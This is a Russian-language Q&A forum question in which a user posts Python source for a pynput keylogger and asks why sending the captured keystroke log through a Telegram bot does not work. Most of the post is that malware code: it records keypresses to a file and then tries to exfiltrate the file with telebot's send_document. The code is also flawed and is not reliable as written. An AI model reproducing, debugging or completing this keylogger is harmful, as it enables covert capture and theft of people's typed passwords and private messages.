@3DOSES

В чем здесь моя ошибка?

Создал keylogger (для проекта) и решил сделать отправку файла через телеграм бота, но почемуто программа не работает, помогите.
import pynput
from pynput.keyboard import Key, Listener
import telebot

token = 'тут токен'
bot = telebot.TeleBot(token)
 
class Keylogger:
 
    def __init__(self):
        self.count = 0
        self.keys = []
 
    def on_press(self, key):
        print(f"{key} pressed")
 
        self.keys.append(key)
        self.count += 1
 
        if self.count >= 10:
            self.write_file(self.keys)
            self.keys = []
 
    def on_release(self, key):
        if key == Key.esc:
            return False
 
    def write_file(self, keys):
        with open("logs.txt", "a") as file:
            for key in self.keys:
                k = str(key).replace("'", "")
 
                if k.find("space") > 0:
                    file.write("\n")
                elif k.find("Key") == -1:
                    file.write(k)
 
 
if __name__ == "__main__":
    obj = Keylogger()
    with Listener(on_press = obj.on_press, on_release = obj.on_release) as listener:
        listener.join()

doc = 'C:\Users\iliab\OneDrive\Рабочий стол\Portfolio\KeyLogger\logs.txt'


bot.send_document(тут мой токен, doc)


603509b2b4dc5404939207.png
  • Вопрос задан
  • 187 просмотров
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы